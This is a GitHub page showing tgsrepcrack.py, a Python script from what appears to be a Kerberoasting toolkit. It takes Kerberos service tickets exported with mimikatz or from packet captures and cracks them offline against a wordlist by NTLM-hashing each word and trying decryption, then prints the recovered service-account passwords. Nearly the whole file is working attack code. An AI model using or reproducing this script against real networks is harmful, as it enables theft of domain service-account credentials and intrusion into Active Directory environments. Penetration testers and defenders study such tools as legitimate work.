-
Notifications
You must be signed in to change notification settings - Fork 313
/
tgsrepcrack.py
executable file
·72 lines (59 loc) · 1.88 KB
/
tgsrepcrack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3 -tt
import kerberos
from pyasn1.codec.ber import encoder, decoder
import glob
def crack(wordlist, enctickets):
toremove = []
while enctickets:
word = wordlist.get()
#print "trying %s" % word
for et in enctickets:
kdata, nonce = kerberos.decrypt(kerberos.ntlmhash(word), 2, et[0])
if kdata:
print('found password for ticket %i: %s File: %s' % (et[1], word, et[2]))
toremove.append(et)
for et in toremove:
try:
enctickets.remove(et)
except:
return
if not enctickets:
return
print('''
USE HASHCAT, IT'S HELLA FASTER!!
''')
import argparse
import sys
parser = argparse.ArgumentParser(description='Read kerberos ticket then modify it')
parser.add_argument('wordlistfile', action='store',
metavar='dictionary.txt', type=argparse.FileType('rb'), # windows closes it in thread
help='the word list to use with password cracking')
parser.add_argument('files', nargs='+', metavar='file.kirbi', type=str,
help='File name to crack. Use asterisk \'*\' for many files.\n Files are exported with mimikatz or from extracttgsrepfrompcap.py')
args = parser.parse_args()
# load the tickets
enctickets = []
i = 0
for path in args.files:
for filename in glob.glob(path):
et = kerberos.extract_ticket_from_kirbi(filename)
enctickets.append((et, i, filename))
if len(enctickets):
print("Cracking %i tickets..." % len(enctickets))
else:
print("No tickets found")
sys.exit()
# load wordlist
for w in args.wordlistfile:
word = w.decode('utf-8','ignore').strip()
hash = kerberos.ntlmhash(word)
for et in enctickets:
kdata, nonce = kerberos.decrypt(hash, 2, et[0])
if kdata:
print('found password for ticket %i: %s File: %s' % (et[1], word, et[2]))
enctickets.remove(et)
if len(enctickets) == 0:
print('Successfully cracked all tickets')
sys.exit()
if len(enctickets):
print("Unable to crack %i tickets" % len(enctickets))